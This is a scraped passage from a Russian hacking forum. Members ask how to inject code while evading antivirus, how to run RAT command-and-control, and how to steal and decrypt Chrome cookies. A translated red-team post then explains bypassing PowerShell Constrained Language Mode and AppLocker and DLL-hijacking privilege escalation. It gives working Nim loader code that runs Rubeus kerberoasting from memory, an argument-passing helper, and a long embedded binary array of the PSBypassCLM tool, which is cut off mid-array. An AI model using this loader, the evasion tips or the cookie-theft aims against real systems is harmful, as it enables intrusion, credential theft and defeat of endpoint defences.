DarthTon/Blackbone аверами и возможно
ли с помощью нее смаппить и запустить x64 EXE в память другого процесса?
Подскажите, какой способ будет лучше(слышал про сплайсинг и про замену функции в процессе), способ который менее палится аверами
Подскажите по какому принципу происходит обмен данными в условных ратниках с командным сервером. Можно конечно с большим таймаутом слать запросы на сервер или брать заранее приготовленную инфу с каких-то ещё публичных источников, но интересует конкретно обращение на клиент
Тестировал данный метод загрузки кода в процесс:
https://github.com/odzhan/injection/blob/master/cmdline/cmd_inject.c
Так же для тестов написал простой шеллкод на Си (проект в аттаче). Шеллкод
отрабатывает успешно, но как только шелл отработает - ловлю исключение
EXCEPTION_PRIV_INSTRUCTION.
Сам шеллкод при тестах в текущем процессе отрабатывает успешно.
Даже если убрать весь код шелла, заменить на простую затычку:
Code:Copy to clipboard
__declspec(noinline) int ShellEntry()
{
int arr[10];
int i = 0;
for (i = 0; i < 10; i++) arr[i] = i;
return i;
}
Так же ловлю это же исключение. Буду благодарен, если кто-нибудь поможет
разобраться.
В папке Release есть собранный шеллкод (shell.bin).
Пароль на архив:
Hidden content for authorized users.
xss.is
Вот прям интересно. Учитывая что оба языка предоставляют расширенные возможности по управлению памятью и скорость исполнения, за которые плюсы ценят, есть ли смысл в плюсах, на которых код во множестве случаев попросту нечитабелен и наполнен boilerplate'ом, и их изучении?
Цель состоит в том, чтобы запустить при помощи CreateProcessW, ShellExecuteW
приложуху которая имеет GUI, но игнорирует SW_HIDE - спецификация программы.
xttps://prnt.sc/zbp4bk
Как на скрине моя программа запускается как хром или psi+
Можно конечно найти после создание его окно, скрыть, но это такое...
Другой вариант есть с удочерением WinForms.
Есть ли другие методы запуска такого приложения если абсолютно игорируется
SW_HIDE и подобное флажки?
Другой вариант - создание скрытого рабочего стола и запуск уже там. Но это
детектится жестко.
Hey. How can I get the cookies from google chrome and also decrypt them in
C++?
I know that the cookies are stored in
C:\Users\username\AppData\Local\Google\Chrome\User Data\Default\Cookie.
Don 't forgot to like
Download link:
![mega.nz](/proxy.php?image=https%3A%2F%2Fmega.nz%2Frich- folder.png&hash=63d46597e69ae4a51888711a37d2bf45&return_error=1)
](https://mega.nz/folder/rfAUXSKR#9k9FlvAQQzLzds9ZnG4c-Q)
mega.nz
Знаю что многие используют arp scan, кто-то GetAdaptersAddresses.
Какой самый нормальный способ узнать все айпи адреса локалке
В этом посте я расскажу короткую историю из среды, с которой я столкнулся некоторое время назад, и о том, как справиться с ситуацией, минуя режим ограниченного языка и Applocker, используя хорошо известные методы. Недавно у меня было время взглянуть на репозиторий OffensiveNim, созданный @byt3bl33d3r, который проделал действительно потрясающую работу. Посмотрев на примеры кода и возясь с некоторыми из них, я обнаружил, что это довольно круто и имеет хорошие преимущества. Поэтому вторая глава посвящена моим забавам с шаблонами Nim. Бинарные файлы C#, завернутые в Nim, также можно было использовать для обхода механизмов защиты Windows - для развлечения и профита. В этом посте не будет ничего нового, все использованное уже публично. Но, возможно, некоторые из вас столкнутся с подобной ситуацией в будущем - этот пост может помочь вам здесь.
Обход механизмов защиты Windows
Итак, с какой ситуацией я столкнулся? Это была среда Windows с включенным ограниченным языковым режимом (Constrained Language Mode) в каждой системе.
Ограниченный язык PowerShell - это языковой режим PowerShell, предназначенный для поддержки повседневных административных задач, но при этом ограничивающий доступ к чувствительным языковым элементам, которые можно использовать для вызова произвольных API-интерфейсов Windows.
Click to expand...
Вы можете увидеть, активен ли этот языковой режим, выполнив следующую команду в окне консоли Powershell:
Bash:Copy to clipboard
$ExecutionContext.SessionState.LanguageMode
Режим по умолчанию - FullLanguage, который позволяет любые команды.
Если в вашей среде включен CLM, вы, скорее всего, не сможете использовать собственный Windows Powershell.exe для любых целей наступательной безопасности. Никаких соединений Command&Control (C2) через stager Powershell, никаких скриптов, загружаемых через IEX(), и так далее. Для защитников - Включите ограниченный языковой режим, это усложнит жизнь вредоносным программам и злоумышленникам, а также всем ребятам из Offensive Security, таким как Pentesters и Red-Teams.
Однако существует множество широко известных методов обойти этот механизм защиты. Ограничение применяется к встроенному Powershell.exe, поэтому, если вы переносите свой собственный Powershell в скомпрометированную систему или любой другой двоичный файл с помощью Powershell Runspace, вы можете выполнять команды и сценарии как обычно. Некоторые из инструментов, которые я использовал для обхода CLM в прошлом, были следующие:
- PSByPassCLM - C# Powershell Runspace
- PowerShdll - C# Powershell Runspace
- InsecurePowerShell - Powershell fork without security features
- PowerLessShell - C# Runspace via MSBuild
- MSBuildShell - C# Runspace via MSBuildClick to expand...
Есть еще много подобных инструментов, все, что я нашел до сих пор, содержится в моем списке Pentest Tools. (<https://github.com/S3cur3Th1sSh1t/Pentest- Tools#AMSI-Bypass-restriction-Bypass>)
Используя прямую связь с .NET API через Powershell Runspace, должно быть легко обойти CLM и выполнить наш любимый C2-stager, верно? К сожалению, CLM был не единственным механизмом защиты, активным в этой среде. Они также включили Applocker на клиентах.
AppLocker расширяет возможности управления приложениями и функциональность политик ограниченного использования программ. AppLocker содержит новые возможности и расширения, которые позволяют создавать правила, разрешающие или запрещающие запуск приложений на основе уникальных идентификаторов файлов, и указывать, какие пользователи или группы могут запускать эти приложения.
Click to expand...
По моему опыту, уровень защиты Applocker сильно различается в зависимости от конфигурации. Если компания включает Applocker, но оставляет конфигурацию в состоянии по умолчанию, есть много способов обойти его. На Github есть потрясающие списки того, как обойти конфигурацию по умолчанию:
**-<https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic- AppLockerbypasses.md>
- **https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.mdClick to expand...
Таким образом, чтобы обойти конфигурацию по умолчанию, вы можете использовать те же инструменты, которые уже упоминались выше. Их можно использовать с MSBuild.exe или rundll32.exe, и эти собственные двоичные файлы Windows разрешены в конфигурации по умолчанию. В качестве альтернативы любой двоичный файл может быть помещен в каталог с возможностью записи с разрешениями на выполнение.
Однако в данной среде все эти местоположения по умолчанию и упомянутые бинарные файлы native windows были запрещены. Чтобы взглянуть на текущую конфигурацию Applocker, вы можете использовать следующую команду Powershell, которая по-прежнему разрешена даже при включенном ограниченном языковом режиме:
Bash:Copy to clipboard
Get-AppLockerPolicy -Effective -Xml | Set-Content ('c:\users\currentuser\Desktop\ApplockerConfig.xml')
На мой взгляд, понимание XML-вывода несложно, поэтому я не буду вдаваться в подробности здесь. В данной среде мне посчастливилось найти один доступный для записи каталог, используемый Java-приложением, установленным на многих клиентских системах:
*C:\oracle\java\bin*
Удаление двоичного файла в этот каталог позволяет нам выполнять код без ограничений. Мы можем просто поместить один из упомянутых выше инструментов (не инструменты на основе MSBuild.exe или Rundll32.exe) в папку и выполнить любую команду Powershell без ограничений, потому что мы также обходим Constrained Language Mode. Пока все просто, никаких новых методов или инструментов.
Интересный факт: расположение папки переменной PATH с возможностью записи позволяет локально повысить привилегии затронутых клиентов. В этом случае путь C:\oracle\java\bin был доступен для записи и включен в переменные среды PATH. Вы можете найти эту уязвимость с помощью простого скрипта. Если вы поместите DLL в этот каталог, который не находится нигде на диске, но который требуется, например, службой Windows и выполняется с правами NT-Authority\SYSTEM, вы можете получить системную оболочку. Кроме того, эта служба должна действовать в соответствии с порядком поиска DLL по умолчанию. Вот некоторые общеизвестные библиотеки DLL, использующие эту уязвимость:
- CDPSvc.dll - Connected Devices Platform Service (CDPSvc) - <http://zeifan.my/security/eop/2019/11/05/windows-service-host-process- eop.html>
- WptsExtensions.dll - Windows 10 Task Scheduler service - <https://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task- schedulerservice.html>
- wlanhlp.dll - Windows Server 2008R2 - 2019 NetMan DLL Hijacking https://itm4n.github.io/windows-server-netman-dll-hijacking/Click to expand...
03.01.2021: Обновление
Спасибо itm4n за разъяснения. Ранее я писал, что следующие три имени DLL
уязвимы. Это не так, поскольку порядок поиска DLL по умолчанию здесь не
используется. Следующие три могут быть загружены только из каталога
SYSTEM32.
- windowscoredeviceinfo.dll - загружается при создании сеанса обновления - itm4ns UsoDllLoader
- phoneinfo.dll - служба отчетов о проблемах Windows - sailay1996s WerTrigger
- Ualapi.dll - Служба факсов - ionescu007s faxhellClick to expand...
Если кто-то из вас знает о более уязвимых сервисах / возможностях перехвата DLL - не стесняйтесь писать мне в DM.
Игры с OffensiveNim
Зачем кому-то использовать Nim в наступательных целях безопасности? В репозитории OffensiveNim byt3bl33d3r уже перечисляет некоторые причины, я скопировал некоторые из них для этого поста:
- Компилируется непосредственно в C, C++, Objective-C и Javascript.
- Избегает того, чтобы вы действительно писали на C/C++, и, следовательно, избегает внесения множества проблем с безопасностью в ваше программное обеспечение.
- Очень простая кросс-компиляция в Windows из *nix/MacOS, требуется только установить набор инструментов mingw и передать один флаг компилятору nim.
- Компилятор Nim и созданные исполняемые файлы поддерживают все основные платформы, такие как Windows, Linux, BSD и macOS.Click to expand...
Тот факт, что Nim напрямую компилируется в C/C ++, дает двоичным файлам OffensiveNim все возможности и преимущества Offensive C-tooling. Например, вы можете использовать любой C-бинарный PE-Loader или PE-Packer, что упрощает их выполнение из памяти. Поэтому дается простая интеграция с существующими инструментами/методами наступательной безопасности.
Если у вас нет опыта программирования на C/C ++, но вы хотите использовать его преимущества, Nim - простая альтернатива. Я должен признать, что мои навыки работы с C/C ++ на самом деле очень низкие, потому что я почти никогда им не пользовался. Единственное, что я сделал, это взял существующий код и изменил его под свои нужды. Так что для меня это стоило взглянуть.
Все упомянутые инструменты для обхода ограничений написаны на C#. С точки зрения защитников, я бы предпочел, чтобы злоумышленник использовал инструменты C# вместо скомпилированных двоичных файлов C/C++. Почему? Если злоумышленник оставляет двоичные файлы C# на диске, защитники могут легко их декомпилировать с помощью таких инструментов, как ILSpy, или для анализа вредоносных программ. В реальных инцидентах я также видел, как злоумышленники использовали сценарии Powershell, загружающие двоичные файлы C# из памяти для сохранения при запуске через реестр. Модификация сценария Powershell для сброса двоичного файла на диск вместо загрузки делает его анализируемым с помощью декомпилятора без сброса памяти. Бинарные файлы C/C++ труднее анализировать, потому что их нужно дизассемблировать с помощью IDA Pro, Ghidra или аналогичных инструментов. На мой взгляд, анализ вредоносных программ с использованием данного кода ассемблера определенно более сложен или, по крайней мере, требует гораздо больше времени.
Так что я думаю, мы также можем сказать, что двоичные файлы C/C++ и,
следовательно, двоичные файлы Nim немного более безопасны для Opsec. Есть еще
одно преимущество - насколько я знаю на момент написания этого поста, AMSI не
имеет возможности проверять скомпилированные двоичные файлы C/C++. Позже в
этом посте мы увидим, что исправить AMSI в Nim перед загрузкой исполняемого
файла C# довольно просто. Следовательно, этот обход AMSI никогда не может быть
обнаружен самим AMSI. В прошлом Microsoft блокировала каждый публичный обход,
создавая для него новую подпись AMSI.
Здесь это невозможно. Но он все равно может быть обнаружен традиционным AV-
программным обеспечением с сигнатурой файлов, если вы сбросите его на диск.
Но как на самом деле использовать наши существующие инструменты в Nim? Несколько дней назад в репозиторий OffensiveNim был добавлен новый Nim-шаблон: execute_assembly_bin.nim. Этот код фактически загружает скомпилированный C # исполняемый файл, преобразованный в массив байтов, в память:
C#:Copy to clipboard
#[
Author: Marcello Salvati, Twitter: @byt3bl33d3r
License: BSD 3-Clause
I still can't believe this was added directly in the Winim library. Huge props to the author of Winim for this (khchen), really great stuff.
Make sure you have Winim >=3.6.0 installed. If in doubt do a `nimble install winim`
Also see https://github.com/khchen/winim/issues/63 for an amazing pro-tip from the author of Winim in order to determine the marshalling type of .NET objects.
References:
- https://github.com/khchen/winim/blob/master/examples/clr/usage_demo2.nim
]#
import winim/clr
import sugar
import strformat
# Just pops a message box... or does it? ;)
var buf: array[4608, byte] = [byte 0x4d,0x5a,0x90[...snip...]0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0]
echo "[*] Installed .NET versions"
for v in clrVersions():
echo fmt" \--- {v}"
echo "\n"
echo ""
var assembly = load(buf)
dump assembly
#[
# I initially thought we couldn't use EntryPoint.Invoke() and the below code was my work around. Turns out I was wrong!
# See https://github.com/byt3bl33d3r/OffensiveNim/issues/9
var dt = fromCLRVariant[string](assembly.EntryPoint.DeclaringType.ToString())
var mn = fromCLRVariant[string](assembly.EntryPoint.Name)
echo fmt"[*] EntryPoint.DeclaringType: '{dt}'"
echo fmt"[*] EntryPoint.MethodName: '{mn}'"
var t = assembly.GetType(dt)
var flags = BindingFlags_Static or BindingFlags_Public or BindingFlags_InvokeMethod
@t.invoke(mn, flags, toCLRVariant([""], VT_BSTR)) # Passing an empty array
@t.invoke(mn, flags, toCLRVariant(["From Nim & .NET!"], VT_BSTR)) # Actually passing some args
]#
var arr = toCLRVariant([""], VT_BSTR) # Passing no arguments
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))
arr = toCLRVariant(["From Nim & .NET!"], VT_BSTR) # Actually passing some args
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))
Когда я увидел этот новый шаблон в Twitter, я подумал: "Отлично, я хочу поиграть с ним". Загрузка Nim и импорт WinIm с помощью быстрой установки WinIM
C#:Copy to clipboard
function CSharpToNimByteArray
{
Param
(
[string]
$inputfile,
[switch]
$folder
)
if ($folder)
{
$Files = Get-Childitem -Path $inputfile -File
$fullname = $Files.FullName
foreach($file in $fullname)
{
Write-Host "Converting $file"
$outfile = $File + "NimByteArray.txt"
[byte[]] $hex = get-content -encoding byte -path $File
$hexString = ($hex|ForEach-Object ToString X2) -join ',0x'
$Results = $hexString.Insert(0,"var buf: array[" + $hex.Length + ", byte] = [byte 0x")
$Results = $Results + "]"
$Results | out-file $outfile
}
Write-Host -ForegroundColor yellow "Results Written to the same folder"
}
else
{
Write-Host "Converting $inputfile"
$outfile = $inputfile + "NimByteArray.txt"
[byte[]] $hex = get-content -encoding byte -path $inputfile
$hexString = ($hex|ForEach-Object ToString X2) -join ',0x'
$Results = $hexString.Insert(0,"var buf: array[" + $hex.Length + ", byte] = [byte 0x")
$Results = $Results + "]"
$Results | out-file $outfile
Write-Host "Result Written to $outfile"
}
}
Это упрощает преобразование любого двоичного файла C# или даже целой папки, содержащей двоичные файлы C#, в байтовые массивы Nim:
Результирующий байтовый массив Nim выглядит так:
var buf: array[198144, byte] = [byte 0x4D,0x5A,0x90,0x00,0x03,0x00,0x00,0x00,0x04,[...snip...]0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00]
Использование этого байтового массива вместо message box и компиляция кода Nim через nim c execute_assembly_bin.nim приводит к тому, что C-скомпилированный исполняемый файл загружает Rubeus и возвращает меню справки:
Это не поможет нам для Rubeus, потому что мы действительно хотим передать аргументы исполняемому файлу, скомпилированному с помощью Nim, который должен быть перенаправлен в исполняемый файл C#. В данном файле шаблона аргументы передаются в следующей строке:
C#:Copy to clipboard
arr = toCLRVariant(["From Nim & .NET!"], VT_BSTR) # Actually passing some args
Я обнаружил, что при передаче одного аргумента, например, "kerberoast" вместо "From Nim & .NET!" Rubeus успешно загружается из памяти с помощью атаки kerberoasting. Моя первая попытка передачи параметров выглядела так:
C#:Copy to clipboard
import os
[...]
var cmd = ""
var i = 1
while i <= paramCount():
cmd.add(paramStr(i))
cmd.add(" ")
inc(i)
echo cmd # Only for troubleshooting purpose
var arr = toCLRVariant([cmd], VT_BSTR)
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))
Но все, что содержит пробел, не было успешно проанализировано - была возвращена только справка Rubeus, что имеет место для неверных параметров. Устранение неполадок в этой проблеме Я также понял, что toCLRVariant() позволяет принимать только массивы с несколькими параметрами. Изменение кода для передачи двух параметров двоичного файла C# выглядит следующим образом:
C#:Copy to clipboard
var arr = toCLRVariant(["kerberoast", "/format:hashcat"], VT_BSTR)
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))
Чтобы передать любое возможное количество аргументов, я впоследствии использовал следующий код:
C#:Copy to clipboard
var cmd: seq[string]
var i = 1
while i <= paramCount():
cmd.add(paramStr(i))
inc(i)
echo cmd
var arr = toCLRVariant(cmd, VT_BSTR)
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))
В результате получается готовый к работе бинарный файл Rubeus, скомпилированный в Nim C:
Еще одна вещь, которую следует упомянуть: чистый двоичный файл C# Rubeus, который я использовал, был обнаружен движками 26/72 на Virustotal:
В версии NimRubeus было 16/70 обнаружений:
Таким образом, перенос двоичных файлов на другие языки также МОЖЕТ быть использован для обхода программного обеспечения AV. Однако я рекомендую обфускировать любой двоичный файл C#, прежде чем превращать его в массив байтов - это должно привести к еще меньшему количеству обнаружений. И если вы все сделаете правильно, нет необходимости в обходе AMSI. Чем больше людей используют OffensiveNim, тем больше я верю, что даже небольшие фрагменты шаблона Nim могут быть отмечены когда-нибудь. Так что изменения в шаблоне также должны быть сделаны на этом этапе, чтобы остаться незамеченными.
Если мы вернемся к среде с Constrained Language Mod и Applocker, мы также могли бы использовать один из упомянутых инструментов для обхода обеих функций с помощью оболочки Nim. Следующий код, например, содержит PSByPassCLM, завернутый в Nim, что позволяет нам обойти обе функции, поместив этот скомпилированный двоичный файл в папку C:\oracle\bin:
C#:Copy to clipboard
#[
Author: Marcello Salvati, Twitter: @byt3bl33d3r
License: BSD 3-Clause
I still can't believe this was added directly in the Winim library. Huge props to the author of Winim for this (khchen), really great stuff.
Make sure you have Winim >=3.6.0 installed. If in doubt do a `nimble install winim`
Also see https://github.com/khchen/winim/issues/63 for an amazing pro-tip from the author of Winim in order to determine the marshalling type of .NET objects.
References:
- https://github.com/khchen/winim/blob/master/examples/clr/usage_demo2.nim
]#
import winim/clr
import sugar
import strformat
import os
# PSBypassCLM Binary
var buf: array[10240, byte] = [byte 0x4D,0x5A,0x90,0x00,0x03,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0xFF,0xFF,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00,0x0E,0x1F,0xBA,0x0E,0x00,0xB4,0x09,0xCD,0x21,0xB8,0x01,0x4C,0xCD,0x21,0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6F,0x67,0x72,0x61,0x6D,0x20,0x63,0x61,0x6E,0x6E,0x6F,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6E,0x20,0x69,0x6E,0x20,0x44,0x4F,0x53,0x20,0x6D,0x6F,0x64,0x65,0x2E,0x0D,0x0D,0x0A,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x50,0x45,0x00,0x00,0x4C,0x01,0x03,0x00,0xD0,0x95,0xEC,0x5F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0x00,0x22,0x00,0x0B,0x01,0x30,0x00,0x00,0x1E,0x00,0x00,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x8E,0x3C,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x20,0x00,0x00,0x00,0x02,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x60,0x85,0x00,0x00,0x10,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3C,0x3C,0x00,0x00,0x4F,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xA4,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x0C,0x00,0x00,0x00,0x04,0x3B,0x00,0x00,0x1C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08,0x20,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x2E,0x74,0x65,0x78,0x74,0x00,0x00,0x00,0x94,0x1C,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x1E,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x60,0x2E,0x72,0x73,0x72,0x63,0x00,0x00,0x00,0xA4,0x05,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x40,0x2E,0x72,0x65,0x6C,0x6F,0x63,0x00,0x00,0x0C,0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x26,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x42,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x3C,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x02,0x00,0x05,0x00,0x98,0x22,0x00,0x00,0x6C,0x18,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1B,0x30,0x03,0x00,0x70,0x01,0x00,0x00,0x01,0x00,0x00,0x11,0x72,0x01,0x00,0x00,0x70,0x0A,0x72,0x01,0x00,0x00,0x70,0x0B,0x72,0x01,0x00,0x00,0x70,0x0C,0x16,0x0D,0x02,0x2C,0x22,0x02,0x8E,0x2C,0x1E,0x02,0x16,0x9A,0x28,0x10,0x00,0x00,0x0A,0x2D,0x14,0x02,0x17,0x9A,0x28,0x10,0x00,0x00,0x0A,0x2D,0x0A,0x17,0x0D,0x02,0x16,0x9A,0x0B,0x02,0x17,0x9A,0x0C,0x28,0x11,0x00,0x00,0x0A,0x13,0x04,0x11,0x04,0x6F,0x12,0x00,0x00,0x0A,0x11,0x04,0x73,0x13,0x00,0x00,0x0A,0x72,0x03,0x00,0x00,0x70,0x6F,0x14,0x00,0x00,0x0A,0x26,0x72,0x86,0x00,0x00,0x70,0x13,0x05,0x09,0x2D,0x0C,0x72,0xCB,0x0B,0x00,0x70,0x28,0x15,0x00,0x00,0x0A,0x2B,0x1A,0x11,0x05,0x72,0x1D,0x0C,0x00,0x70,0x07,0x6F,0x16,0x00,0x00,0x0A,0x72,0x2D,0x0C,0x00,0x70,0x08,0x6F,0x16,0x00,0x00,0x0A,0x13,0x05,0x09,0x2D,0x12,0x72,0x3B,0x0C,0x00,0x70,0x28,0x17,0x00,0x00,0x0A,0x28,0x18,0x00,0x00,0x0A,0x0A,0x2B,0x03,0x11,0x05,0x0A,0x06,0x28,0x10,0x00,0x00,0x0A,0x3A,0xB3,0x00,0x00,0x00,0x11,0x04,0x6F,0x19,0x00,0x00,0x0A,0x13,0x06,0x11,0x06,0x6F,0x1A,0x00,0x00,0x0A,0x06,0x6F,0x1B,0x00,0x00,0x0A,0x11,0x06,0x6F,0x1A,0x00,0x00,0x0A,0x72,0x47,0x0C,0x00,0x70,0x6F,0x1C,0x00,0x00,0x0A,0x09,0x2C,0x0A,0x72,0x5D,0x0C,0x00,0x70,0x28,0x17,0x00,0x00,0x0A,0x11,0x06,0x6F,0x1D,0x00,0x00,0x0A,0x73,0x1E,0x00,0x00,0x0A,0x13,0x07,0x6F,0x1F,0x00,0x00,0x0A,0x13,0x08,0x2B,0x18,0x11,0x08,0x6F,0x20,0x00,0x00,0x0A,0x13,0x09,0x11,0x07,0x11,0x09,0x6F,0x21,0x00,0x00,0x0A,0x6F,0x22,0x00,0x00,0x0A,0x26,0x11,0x08,0x6F,0x23,0x00,0x00,0x0A,0x2D,0xDF,0xDE,0x0C,0x11,0x08,0x2C,0x07,0x11,0x08,0x6F,0x24,0x00,0x00,0x0A,0xDC,0x11,0x07,0x6F,0x21,0x00,0x00,0x0A,0x28,0x17,0x00,0x00,0x0A,0xDE,0x2B,0x13,0x0A,0x09,0x2C,0x07,0x72,0x01,0x00,0x00,0x70,0x13,0x05,0x72,0x93,0x0C,0x00,0x70,0x11,0x0A,0x6F,0x25,0x00,0x00,0x0A,0x28,0x26,0x00,0x00,0x0A,0xDE,0x0C,0x11,0x06,0x2C,0x07,0x11,0x06,0x6F,0x24,0x00,0x00,0x0A,0xDC,0x06,0x72,0x9B,0x0C,0x00,0x70,0x28,0x27,0x00,0x00,0x0A,0x3A,0x1A,0xFF,0xFF,0xFF,0x2A,0x01,0x28,0x00,0x00,0x02,0x00,0xF5,0x00,0x25,0x1A,0x01,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0xB5,0x00,0x7F,0x34,0x01,0x1F,0x16,0x00,0x00,0x01,0x02,0x00,0xB5,0x00,0x9E,0x53,0x01,0x0C,0x00,0x00,0x00,0x00,0x1E,0x02,0x28,0x28,0x00,0x00,0x0A,0x2A,0x13,0x30,0x04,0x00,0x84,0x00,0x00,0x00,0x02,0x00,0x00,0x11,0x72,0x01,0x00,0x00,0x70,0x0A,0x72,0x01,0x00,0x00,0x70,0x0B,0x02,0x28,0x29,0x00,0x00,0x0A,0x6F,0x2A,0x00,0x00,0x0A,0x72,0xA5,0x0C,0x00,0x70,0x6F,0x2B,0x00,0x00,0x0A,0x28,0x10,0x00,0x00,0x0A,0x2D,0x48,0x02,0x28,0x29,0x00,0x00,0x0A,0x6F,0x2A,0x00,0x00,0x0A,0x72,0xB7,0x0C,0x00,0x70,0x6F,0x2B,0x00,0x00,0x0A,0x0A,0x06,0x2D,0x0B,0x72,0xC3,0x0C,0x00,0x70,0x73,0x2C,0x00,0x00,0x0A,0x7A,0x02,0x28,0x29,0x00,0x00,0x0A,0x6F,0x2A,0x00,0x00,0x0A,0x72,0x1F,0x0D,0x00,0x70,0x6F,0x2B,0x00,0x00,0x0A,0x0B,0x07,0x2D,0x0B,0x72,0x2B,0x0D,0x00,0x70,0x73,0x2C,0x00,0x00,0x0A,0x7A,0x18,0x8D,0x1A,0x00,0x00,0x01,0x25,0x16,0x06,0xA2,0x25,0x17,0x07,0xA2,0x28,0x01,0x00,0x00,0x06,0x2A,0x06,0x2A,0x1E,0x02,0x28,0x2D,0x00,0x00,0x0A,0x2A,0x00,0x00,0x42,0x53,0x4A,0x42,0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39,0x00,0x00,0x00,0x00,0x05,0x00,0x6C,0x00,0x00,0x00,0x80,0x03,0x00,0x00,0x23,0x7E,0x00,0x00,0xEC,0x03,0x00,0x00,0x24,0x05,0x00,0x00,0x23,0x53,0x74,0x72,0x69,0x6E,0x67,0x73,0x00,0x00,0x00,0x00,0x10,0x09,0x00,0x00,0x88,0x0D,0x00,0x00,0x23,0x55,0x53,0x00,0x98,0x16,0x00,0x00,0x10,0x00,0x00,0x00,0x23,0x47,0x55,0x49,0x44,0x00,0x00,0x00,0xA8,0x16,0x00,0x00,0xC4,0x01,0x00,0x00,0x23,0x42,0x6C,0x6F,0x62,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x01,0x47,0x15,0x02,0x08,0x09,0x00,0x00,0x00,0x00,0xFA,0x01,0x33,0x00,0x16,0x00,0x00,0x01,0x00,0x00,0x00,0x24,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x2D,0x00,0x00,0x00,0x0F,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x7F,0x02,0x01,0x00,0x00,0x00,0x00,0x00,0x06,0x00,0xF4,0x01,0x2C,0x04,0x06,0x00,0x61,0x02,0x2C,0x04,0x06,0x00,0x12,0x01,0xC6,0x03,0x0F,0x00,0x4C,0x04,0x00,0x00,0x06,0x00,0x3A,0x01,0x59,0x03,0x06,0x00,0xC1,0x01,0x59,0x03,0x06,0x00,0xA2,0x01,0x59,0x03,0x06,0x00,0x48,0x02,0x59,0x03,0x06,0x00,0x14,0x02,0x59,0x03,0x06,0x00,0x2D,0x02,0x59,0x03,0x06,0x00,0x51,0x01,0x59,0x03,0x06,0x00,0x26,0x01,0x0D,0x04,0x06,0x00,0x04,0x01,0x0D,0x04,0x06,0x00,0x85,0x01,0x59,0x03,0x06,0x00,0x6C,0x01,0x8F,0x02,0x06,0x00,0x8D,0x04,0x2B,0x03,0x0A,0x00,0x86,0x00,0xE6,0x03,0x0A,0x00,0xE2,0x00,0xE6,0x03,0x06,0